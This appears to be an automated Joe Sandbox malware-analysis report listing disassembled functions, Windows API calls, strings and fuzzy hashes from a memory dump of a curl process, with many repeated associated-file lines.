Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: AllocateExitFileHeapModuleNameProcess
String ID:
API String ID: 1715456479-0
Opcode ID: a0d81a2ae0692eac0bd4e1ca4c4022d51b30387cdc5703e43368c3689623149a
Instruction ID: 8c674400c2a0715dc7153940156fa282540d05baa4222bcf7e49401ad3e6c45b
Opcode Fuzzy Hash: a0d81a2ae0692eac0bd4e1ca4c4022d51b30387cdc5703e43368c3689623149a
Instruction Fuzzy Hash: 1301D2316306035AD6612B38AC16FEA336CDB917E0F11423EF901DA1D2EEB09C604A60

Function 002C6ABC Relevance: 1.5, APIs: 1, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,002C90F2,00000000,?,00000000,00000000,00000000,?,002C5CFA,00000001,000003BC,?,002DA609), ref: 002C6AFB

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 13f9c24980f69313cb953d04b1b1135b157ac8d88b18c22f835de5e5e1ee6c53
Instruction ID: 17ab2b3c27f2632319192e3b946544bdcbbcf23a31381e203feabdd821c61413
Opcode Fuzzy Hash: 13f9c24980f69313cb953d04b1b1135b157ac8d88b18c22f835de5e5e1ee6c53
Instruction Fuzzy Hash: 6A01BC302256269BDB258F25DC09F6B3798EB41764F05C32DE846EB190EA70DC308790

Function 002D71B4 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetUserDefaultLCID.KERNEL32(00000055,?,?,002D605E,?,00000055,0000009C), ref: 002D71CE

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: DefaultUser
String ID:
API String ID: 3358694519-0
Opcode ID: 0f9efee9ee4dc1cfaf16da40ad01d893542029c22f83fed80e9ec93e72453e6b
Instruction ID: b80a7d8b1cce0e1a1e9206e48b38ac52075fcc7ca8b3ba8924ad6a692ba3be6c
Opcode Fuzzy Hash: 0f9efee9ee4dc1cfaf16da40ad01d893542029c22f83fed80e9ec93e72453e6b
Instruction Fuzzy Hash: C1D0C77241560CBBCB01BFF5FC09856775DEB48315F404402F51D46231E576E9609B61

Function 002C35C0 Relevance: 1.5, APIs: 1, Instructions: 15threadCOMMON

Download Yara Rule

APIs

Part of subcall function 002C5CD2: GetLastError.KERNEL32(00000001,00000000,002BE62F,002BFE17,?,?,002DA609,00000001,00000000), ref: 002C5CD4
Part of subcall function 002C5CD2: GetCurrentThreadId.KERNEL32 ref: 002C5D1E
Part of subcall function 002C5CD2: SetLastError.KERNEL32(00000000,?,002DA609,00000001,00000000), ref: 002C5D36

ExitThread.KERNEL32 ref: 002C35E7

Part of subcall function 002C36C3: LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,002C35DD), ref: 002C36DD
Part of subcall function 002C36C3: GetProcAddress.KERNEL32(00000000), ref: 002C36E4
Part of subcall function 002C36C3: EncodePointer.KERNEL32(00000000), ref: 002C36EF
Part of subcall function 002C36C3: DecodePointer.KERNEL32(002C35DD), ref: 002C370A

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLastPointerThread$AddressCurrentDecodeEncodeExitLibraryLoadProc
String ID:
API String ID: 3204441827-0
Opcode ID: d633340939a1861664890c028098cc6ab5cc9855d4f2f54f23b4755f4df3818f
Instruction ID: d9b900ec20cd3f7d1570604ece75f034ee9407b1e355197cc464ac4257eff192
Opcode Fuzzy Hash: d633340939a1861664890c028098cc6ab5cc9855d4f2f54f23b4755f4df3818f
Instruction Fuzzy Hash: D3D0A730412F2567C2227B24D909F4D769C6F00345F54471EF500161518F28EFA189D9

Function 002C412C Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

Part of subcall function 002C40F8: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,002C4137,00000000,?,002C9012,000000FF,0000001E,00307E48,00000008,002C8F76,00000000,00000000), ref: 002C4107
Part of subcall function 002C40F8: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 002C4119

ExitProcess.KERNEL32 ref: 002C413B

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: AddressExitHandleModuleProcProcess
String ID:
API String ID: 75539706-0
Opcode ID: 0ef36571a16df7d3ffbcd614f804a1af4052c182958e84cd1ac2b38ff4d1ae55
Instruction ID: df47b5eae656d53b1f0462de9f9834b95e3aeecb8f0a31883694d2017b68e44c
Opcode Fuzzy Hash: 0ef36571a16df7d3ffbcd614f804a1af4052c182958e84cd1ac2b38ff4d1ae55
Instruction Fuzzy Hash: 16B0923108050CBBDB053F15EC0A9893F29FB00391F408126F90808031DF73ADA29A80

Function 001DF140 Relevance: 1.3, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000008,?,00000000), ref: 001DF219

Part of subcall function 001DEEF0: InitializeCriticalSectionEx.KERNEL32(00000000,00000000,00000001,?,?,?,?,?,00000000), ref: 001DEF3B
Part of subcall function 001DEEF0: DeleteCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 001DEF60

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: CriticalSection$DeleteErrorInitializeLast
String ID:
API String ID: 4261110781-0
Opcode ID: 30957a4b45c6fcd70b1bae902d41fb76c8c8d1539e32b45f420a1c709defffbd
Instruction ID: 7c3b02d28ae8f6e72753bdbfb2de663ba0550501a4de2618eef0a4168630a1d6
Opcode Fuzzy Hash: 30957a4b45c6fcd70b1bae902d41fb76c8c8d1539e32b45f420a1c709defffbd
Instruction Fuzzy Hash: 622104B16407055BD7209B35EC45B87B7D8AF44311F04443EFA1AC6381EB71E9068B69

Non-executed Functions

Function 002C4214 Relevance: 120.9, APIs: 35, Strings: 34, Instructions: 193libraryloaderCOMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,002C5DF9,002C260F,00307AE0,00000014), ref: 002C4217

Part of subcall function 002D0434: EncodePointer.KERNEL32(002D0400,00307FC8,00000008,002CE908), ref: 002D0439

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 002CB82C
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 002CB840
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 002CB853
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 002CB866
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 002CB879
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 002CB88C
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 002CB89F
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 002CB8B2
GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 002CB8C5
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 002CB8D8
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 002CB8EB
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 002CB8FE
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 002CB911
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 002CB924
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 002CB937
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 002CB94A
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 002CB95D
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 002CB970
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 002CB983
GetProcAddress.KERNEL32(00000000,GetLogicalProcessorInformation), ref: 002CB996
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 002CB9A9
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 002CB9BC
GetProcAddress.KERNEL32(00000000,EnumSystemLocalesEx), ref: 002CB9CF
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 002CB9E2
GetProcAddress.KERNEL32(00000000,GetDateFormatEx), ref: 002CB9F5
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 002CBA08
GetProcAddress.KERNEL32(00000000,GetTimeFormatEx), ref: 002CBA1B
GetProcAddress.KERNEL32(00000000,GetUserDefaultLocaleName), ref: 002CBA2E
GetProcAddress.KERNEL32(00000000,IsValidLocaleName), ref: 002CBA41
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 002CBA54
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 002CBA67
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 002CBA7A
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleExW), ref: 002CBA8D
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandleW), ref: 002CBAA0

Strings

CompareStringEx, xrefs: 002CB9D7
CreateEventExW, xrefs: 002CB894
FlsSetValue, xrefs: 002CB86E
GetFileInformationByHandleExW, xrefs: 002CBA87
CloseThreadpoolTimer, xrefs: 002CB906
GetTimeFormatEx, xrefs: 002CBA10
FlsFree, xrefs: 002CB848
CreateThreadpoolWait, xrefs: 002CB919
FreeLibraryWhenCallbackReturns, xrefs: 002CB965
SetDefaultDllDirectories, xrefs: 002CB9B1
GetCurrentPackageId, xrefs: 002CBA5C
SetFileInformationByHandleW, xrefs: 002CBA95
SetThreadpoolTimer, xrefs: 002CB8E0
kernel32.dll, xrefs: 002CB827
CreateSymbolicLinkW, xrefs: 002CB99E
GetUserDefaultLocaleName, xrefs: 002CBA23
GetDateFormatEx, xrefs: 002CB9EA
CreateThreadpoolTimer, xrefs: 002CB8CD
CloseThreadpoolWait, xrefs: 002CB93F
EnumSystemLocalesEx, xrefs: 002CB9C4
IsValidLocaleName, xrefs: 002CBA36
GetTickCount64, xrefs: 002CBA6F
SetThreadpoolWait, xrefs: 002CB92C
GetLocaleInfoEx, xrefs: 002CB9FD
SetThreadStackGuarantee, xrefs: 002CB8BA
LCMapStringEx, xrefs: 002CBA49
InitializeCriticalSectionEx, xrefs: 002CB881
GetLogicalProcessorInformation, xrefs: 002CB98B
WaitForThreadpoolTimerCallbacks, xrefs: 002CB8F3
FlushProcessWriteBuffers, xrefs: 002CB957
FlsAlloc, xrefs: 002CB83A
CreateSemaphoreExW, xrefs: 002CB8A7
FlsGetValue, xrefs: 002CB85B
GetCurrentProcessorNumber, xrefs: 002CB978

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: AddressProc$EncodePointer$HandleModule
String ID: CloseThreadpoolTimer$CloseThreadpoolWait$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$EnumSystemLocalesEx$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetDateFormatEx$GetFileInformationByHandleExW$GetLocaleInfoEx$GetLogicalProcessorInformation$GetTickCount64$GetTimeFormatEx$GetUserDefaultLocaleName$InitializeCriticalSectionEx$IsValidLocaleName$LCMapStringEx$SetDefaultDllDirectories$SetFileInformationByHandleW$SetThreadStackGuarantee$SetThreadpoolTimer$SetThreadpoolWait$WaitForThreadpoolTimerCallbacks$kernel32.dll
API String ID: 2375030495-2934716456
Opcode ID: 166a1834a0d2c7acf55e9c0ea7cf99e5cb101de2b897514276823343f0689d2d
Instruction ID: 6e35fa1b168c0e94a33f37897a21e217385ada6835dc876fd6e4783060a49efb
Opcode Fuzzy Hash: 166a1834a0d2c7acf55e9c0ea7cf99e5cb101de2b897514276823343f0689d2d
Instruction Fuzzy Hash: 16610C71861A18AACB02EF73AD59E17BBADBB56B00F01491BE001E7372DAF494118F52

Function 00206800 Relevance: 75.7, APIs: 27, Strings: 16, Instructions: 439libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00205050: WSAStartup.WS2_32(00000002,?), ref: 0020506E

LoadLibraryA.KERNEL32(WS2_32.DLL), ref: 00206873
GetLastError.KERNEL32 ref: 00206881
GetProcAddress.KERNEL32(00000000,WSACreateEvent), ref: 002068B7
GetLastError.KERNEL32 ref: 002068C1
FreeLibrary.KERNEL32(?), ref: 002068DD

Strings

failed to find WSACreateEvent function (%d), xrefs: 002068C8
WSACloseEvent, xrefs: 002068FA
WS2_32.DLL, xrefs: 0020686E
FreeLibrary(wsock2) failed (%d), xrefs: 00206D62
failed to load WS2_32.DLL (%d), xrefs: 00206888
WSAEventSelect, xrefs: 00206946
Time-out, xrefs: 00206D13
, xrefs: 00206CBC
WSACloseEvent failed (%d), xrefs: 00206D3F
WSAEnumNetworkEvents failed (%d), xrefs: 00206C17
WSACreateEvent, xrefs: 002068B1
WSACreateEvent failed (%d), xrefs: 002069F3
failed to find WSACloseEvent function (%d), xrefs: 00206914
failed to find WSAEventSelect function (%d), xrefs: 00206960
WSAEnumNetworkEvents, xrefs: 00206992
failed to find WSAEnumNetworkEvents function (%d), xrefs: 002069AC

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLastLibrary$AddressFreeLoadProcStartup
String ID: $FreeLibrary(wsock2) failed (%d)$Time-out$WS2_32.DLL$WSACloseEvent$WSACloseEvent failed (%d)$WSACreateEvent$WSACreateEvent failed (%d)$WSAEnumNetworkEvents$WSAEnumNetworkEvents failed (%d)$WSAEventSelect$failed to find WSACloseEvent function (%d)$failed to find WSACreateEvent function (%d)$failed to find WSAEnumNetworkEvents function (%d)$failed to find WSAEventSelect function (%d)$failed to load WS2_32.DLL (%d)
API String ID: 2366007301-2939610961
Opcode ID: 6494bf8566f5050d14b58a6015bb10c1d3646fda5287781f7071800ce1bdb042
Instruction ID: 9ff2d7aa1aea89576a8d2330f348ceb03cdd1e5d659308b6b5da430a1875abc5
Opcode Fuzzy Hash: 6494bf8566f5050d14b58a6015bb10c1d3646fda5287781f7071800ce1bdb042
Instruction Fuzzy Hash: 07E1C271A553029BD710AF24EC4DBABBBE5EF88315F04052AF849D62E2D761CC64CB92

Function 001FC810 Relevance: 51.3, APIs: 13, Strings: 16, Instructions: 585networkCOMMON

Download Yara Rule

APIs

getsockname.WS2_32(?,?,?), ref: 001FCA39
WSAGetLastError.WS2_32 ref: 001FCA43
WSAGetLastError.WS2_32 ref: 001FCB3B
bind.WS2_32(?,?,?), ref: 001FCBBB
WSAGetLastError.WS2_32 ref: 001FCBC9
getsockname.WS2_32(?,?,00000080), ref: 001FCC15
WSAGetLastError.WS2_32 ref: 001FCC4C
closesocket.WS2_32(?), ref: 001FCC93
getsockname.WS2_32(?,?,?), ref: 001FCCEB
WSAGetLastError.WS2_32 ref: 001FCCF5
listen.WS2_32(?,00000001), ref: 001FCD27
WSAGetLastError.WS2_32 ref: 001FCD31

Part of subcall function 001D23B0: GetLastError.KERNEL32(?,00000000,?,001DD974), ref: 001D23B7
Part of subcall function 001D23B0: GetLastError.KERNEL32(?,?,?,?,001DD974), ref: 001D246B
Part of subcall function 001D23B0: SetLastError.KERNEL32(00000000,?,?,?,?,001DD974), ref: 001D2476

Part of subcall function 001DE530: closesocket.WS2_32(?), ref: 001DE55C

htons.WS2_32(?), ref: 001FCDF9

Strings

,%d,%d, xrefs: 001FCE8C
bind(port=%hu) on non-local address failed: %s, xrefs: 001FCBEF
bind(port=%hu) failed: %s, xrefs: 001FCCBA
failed to resolve the address provided to PORT: %s, xrefs: 001FCF8E
%s |%d|%s|%hu|, xrefs: 001FCF25
getsockname() failed: %s, xrefs: 001FCA53
%s %s, xrefs: 001FCEB2
Failure sending PORT command: %s, xrefs: 001FCED6
socket failure: %s, xrefs: 001FCB5E
getsockname() failed: %s, xrefs: 001FCC5C
getsockname() failed: %s, xrefs: 001FCD05
socket failure: %s, xrefs: 001FCD41
Failure sending EPRT command: %s, xrefs: 001FCF45
EPRT, xrefs: 001FCF1A
PORT, xrefs: 001FCEA7
bind() failed, we ran out of ports!, xrefs: 001FCF77

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
